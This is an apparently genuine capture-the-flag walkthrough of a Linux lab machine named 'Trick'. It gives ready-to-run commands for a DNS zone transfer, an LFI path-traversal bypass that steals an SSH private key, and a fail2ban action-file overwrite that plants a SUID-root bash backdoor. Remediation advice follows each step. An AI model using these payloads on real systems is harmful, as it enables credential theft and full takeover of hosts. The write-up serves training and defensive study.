← all walkthroughs

Trick

Linux· Easy· Web
owned
2026-07-06
time to own
12m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My scanning the target found an nginx web server hosting two virtual hostnames on the same IP address. A DNS misconfiguration disclosed the existence of a hidden pre-production marketing subdomain, which ran a PHP application whose file-routing parameter was vulnerable to path traversal. That read-any-file capability was turned against the developer account's unencrypted SSH private key, giving me an interactive shell.

Once inside, two compounding misconfigurations sealed my path to root: the developer account belonged to a group that could write to the directory holding fail2ban's action scripts, and that same account could restart fail2ban as root without a password. By replacing a stock action definition with one that stamps a SUID-root copy of bash onto disk, then restarting the daemon, I created a permanent root-level entry point — full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationNetwork port scanning and service fingerprinting (T1046)
Scanned ports and fingerprinted services
An automated port scan against $TARGET identified four open TCP services: SSH on port 22 (OpenSSH 7.9p1), SMTP on port 25, DNS on port 53, and HTTP on port 80 (nginx 1.14.2 serving PHP). The presence of DNS on port 53 was a strong signal that multiple virtual hostnames might be registered, making DNS enumeration the natural next step.
Exact commands 1
Service-version scan; widen -p range for a more thorough sweep.
nmap -Pn -sV -p 22,25,53,80 --script=http-title,banner $TARGET
2EnumerationDNS zone transfer (AXFR) for subdomain enumeration (T1590.002)
DNS zone transfer exposed the hidden pre-production subdomain
The DNS server on port 53 accepted an unauthenticated zone-transfer request for trick.htb and returned the full list of DNS records, including the subdomain preprod-marketing.trick.htb. That hostname was added to local name resolution and browsed; it served a distinct PHP marketing application whose page parameter accepted filenames for dynamic inclusion.
Nginx config validated: second server block with server_name preprod-marketing.trick.htb; root /var/www/market; index.php.
Exact commands 2
Full zone transfer; lists all DNS records including preprod-marketing.trick.htb.
dig axfr trick.htb @$TARGET
Add both vhosts to local resolution before browsing.
echo "$TARGET trick.htb preprod-marketing.trick.htb" | sudo tee -a /etc/hosts
FixRestrict DNS zone transfers to authorised secondary name servers onlyMedium
WeaknessThe DNS server answered unauthenticated AXFR (zone transfer) requests from any client, returning the complete list of hostnames — including the pre-production subdomain that hosted the vulnerable PHP application. Without this disclosure an unauthorised user would have had no way to discover that subdomain from the outside.
FixConfigure the DNS server to allow zone transfers only to explicitly listed secondary name-server IP addresses. In BIND 9 add 'allow-transfer { <secondary-NS-IP>; };' to each zone block and to the global options section. Verify the restriction from an untrusted host with 'dig axfr trick.htb @$TARGET' — it should return 'Transfer failed'. For pre-production subdomains that must not be publicly visible, host them on an internal DNS zone that is not exposed to the internet at all.
3ExploitationLocal File Inclusion via filter-bypass path traversal (CWE-22 / T1083)
Bypassed the path-traversal filter and read arbitrary server files
The marketing site's index.php routed pages by including the filename supplied in the page GET parameter. Chaining four ....// segments walked four directory levels above the web root, granting read access to any file the PHP-FPM process could open.
Curl to ?page=....//....//....//....//etc/passwd returned the system password file; web root confirmed as /var/www/market.
Exact commands 1
Verify traversal; a successful response contains root:x:0:0 at the top.
curl -sS 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd'
FixFix the path-traversal Local File Inclusion in the marketing applicationCritical
WeaknessThe index.php page parameter used user-supplied input as a filename to include, filtering only the simple ../ sequence. The ....// bypass evaded that filter and let any visitor read any file the PHP process could access — including SSH private keys stored in user home directories.
FixValidate the page parameter against a hard-coded allowlist of permitted page names (e.g. 'home', 'about', 'contact') and reject anything else with a 400 response — never use user input as a raw file path. If dynamic paths are unavoidable, canonicalize with realpath() and assert the result begins with the application's document root before including. Additionally, ensure SSH private keys are never stored readable by the web process; review file permissions so private key files are mode 600 and owned by the target user only.
4Credential AccessSSH private key theft via file read (T1552.004)
Read michael's unencrypted SSH private key through the LFI
With arbitrary file read confirmed, I targeted the default OpenSSH private-key path for the known local user michael. The key was stored unencrypted and world-readable to the PHP process. It was downloaded in a single request, saved with the correct restrictive permissions, and used immediately to authenticate over SSH — no password or brute-force required.
Curl response began [REDACTED: recovered credential] and contained a complete unencrypted key; subsequent SSH login returned uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security).
Exact commands 3
Download michael's private key via the LFI.
curl -sS 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa' -o /tmp/trick-michael_id_rsa
SSH client requires strict key-file permissions.
chmod 600 /tmp/trick-michael_id_rsa
Authenticate as michael and read the user flag; actual value is <user.txt>.
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'id; cat /home/michael/user.txt'
5Post-ExploitationSudo misconfiguration and group-permission audit (T1548.003)
Discovered passwordless sudo and group write access to fail2ban's action directory
Standard post-foothold enumeration revealed two misconfigurations that, taken together, provided a direct route to root. First, michael could restart the fail2ban service as root without supplying a password (NOPASSWD sudo). Second, michael's membership in the security group granted write access to /etc/fail2ban/action.d — the directory whose action configuration files are loaded and executed by fail2ban with full root privileges each time it starts.
Sudo -l: (root) NOPASSWD: /etc/init.d/fail2ban restart; ls -ld /etc/fail2ban/action.d: drwxrwx--- 2 root security; id: groups=1001(michael),1002(security).
Exact commands 1
Confirm the sudo rule and group membership in a single SSH command.
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'sudo -l; id; ls -ld /etc/fail2ban/action.d'
6Privilege EscalationWritable root-owned service configuration leading to SUID binary creation (T1574 / T1548.003)
Replaced a fail2ban action definition to create a SUID-root bash copy on restart
My overwrote the iptables-multiport action configuration in /etc/fail2ban/action.d with a custom definition whose actionstart directive ran a single command: copy /bin/bash to /tmp/rootbash with SUID-root ownership and mode 4755. Because fail2ban runs as root and executes actionstart on service startup, restarting the daemon with the NOPASSWD sudo right caused the root process to create the SUID binary — without any password or exploit beyond file-write access.
Kill chain command wrote actionstart = /usr/bin/install -m 4755 -o root -g root /bin/bash /tmp/rootbash to iptables-multiport.conf, then ran sudo /etc/init.d/fail2ban restart.
Exact commands 2
Write the malicious action file; overwrites the stock iptables-multiport action.
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'cat > /etc/fail2ban/action.d/iptables-multiport.conf <<"EOF"
[Definition]
actionstart = /usr/bin/install -m 4755 -o root -g root /bin/bash /tmp/rootbash
actionstop =
actioncheck =
actionban =
actionunban =
EOF'
Restart fail2ban as root (NOPASSWD); daemon executes actionstart as root and creates /tmp/rootbash with SUID bit.
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'sudo /etc/init.d/fail2ban restart'
FixRemove group-write access from /etc/fail2ban/action.d and tighten the sudo ruleCritical
WeaknessTwo misconfigurations combined to give any member of the security group a trivial root-escalation path: (1) /etc/fail2ban/action.d was writable by the security group, so action scripts loaded and executed by the root-owned daemon could be silently replaced; (2) a passwordless sudo entry let the same user restart fail2ban as root at will, immediately running the tampered script. Neither misconfiguration alone would have been sufficient — together they were catastrophic.
FixImmediately run 'chmod 750 /etc/fail2ban/action.d && chown root:root /etc/fail2ban/action.d' to remove group-write access and transfer group ownership away from the security group. Remove or replace the NOPASSWD sudo entry: if operational teams genuinely need to restart fail2ban, use a systemd drop-in with a tightly-scoped polkit rule or require a password. Apply file-integrity monitoring (auditd or AIDE) to /etc/fail2ban/action.d so any modification generates an alert before the service can be restarted. Audit all other group-writable paths that feed root-owned daemons using 'find /etc -group security -perm -g+w'.
7Full CompromiseSUID binary abuse (T1548.001)
Invoked the SUID-root bash copy to obtain a root shell and read the root flag
With /tmp/rootbash now owned by root and carrying the SUID bit, invoking it with the -p flag (preserve effective UID) opened a root shell from michael's unprivileged account. From that shell the root flag was read and full control of the host was demonstrated. The SUID binary persists until explicitly removed, leaving a permanent root backdoor.
/tmp/rootbash -p -c 'id' returned euid=0(root); root.txt read successfully.
Exact commands 1
Verify SUID bit then spawn a root shell; replace actual flag content with <root.txt>.
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'ls -la /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
25/tcp
53/tcp
80/tcp